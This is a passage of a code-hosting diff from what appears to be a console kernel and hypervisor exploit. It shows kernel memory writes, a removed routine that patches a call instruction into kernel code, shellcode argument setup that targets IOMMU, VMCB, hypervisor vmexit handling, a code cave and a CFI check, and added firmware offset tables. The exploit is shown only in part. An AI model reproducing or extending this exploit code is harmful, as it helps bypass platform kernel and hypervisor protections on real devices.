kwrite32(pa_to_dmap(0xC0115110), 0);
|
||||
if (kernel_pmap_invalidate_all()) {
|
||||
printf("Error: could not invalidate pmap\n");
|
||||
return -1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
@@ -48,15 +116,6 @@ int update_sck_args_ptr(uint64_t shellcode, uint64_t args) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
void hook_call_near(uint64_t hook, uint64_t dst) {
|
||||
int64_t diff_call = dst - hook;
|
||||
uint8_t new_instr[5];
|
||||
new_instr[0] = 0xE8;
|
||||
*((uint32_t *)&new_instr[1]) = (int32_t)(diff_call - 5);
|
||||
kernel_copyin(new_instr, hook, 5);
|
||||
DEBUG_PRINT("Instruction patched\n");
|
||||
}
|
||||
|
||||
uint64_t prepare_sck_args(void) {
|
||||
shellcode_kernel_args args;
|
||||
args.fw_version = fw;
|
||||
@@ -77,13 +136,10 @@ uint64_t prepare_sck_args(void) {
|
||||
args.fun_mp3_initialize = ktext + env_offset.FUN_MP3_INITIALIZE;
|
||||
args.fun_mp3_invoke = ktext + env_offset.FUN_MP3_INVOKE;
|
||||
|
||||
args.iommu_mmio_va = iommu->mmio_va;
|
||||
args.iommu_cb2_va = iommu->cb2_base;
|
||||
args.iommu_cb3_va = iommu->cb3_base;
|
||||
args.iommu_eb_va = iommu->eb_base;
|
||||
memcpy(&args.vmcb[0], &vmcb_pa[0], sizeof(args.vmcb[0]) * 16);
|
||||
args.iommu_softc = ktext + env_offset.IOMMU_SOFTC;
|
||||
|
||||
args.kernel_uart_override = ktext + env_offset.KERNEL_UART_OVERRIDE;
|
||||
args.kernel_cfi_check = ktext + env_offset.KERNEL_CFI_CHECK;
|
||||
args.hv_handle_vmexit_pa = env_offset.HV_HANDLE_VMEXIT_PA;
|
||||
args.hv_code_cave_pa = env_offset.HV_CODE_CAVE_PA;
|
||||
|
||||
|
||||
@@ -58,6 +58,15 @@ int set_offsets(void) {
|
||||
case 0x0451:
|
||||
env_offset = off_0451;
|
||||
break;
|
||||
case 0x0550:
|
||||
env_offset = off_0550;
|
||||
break;
|
||||
case 0x0600:
|
||||
env_offset = off_0600;
|
||||
break;
|
||||
case 0x0602:
|
||||
env_offset = off_0602;
|
||||
break;
|
||||
default:
|
||||
return -1;
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user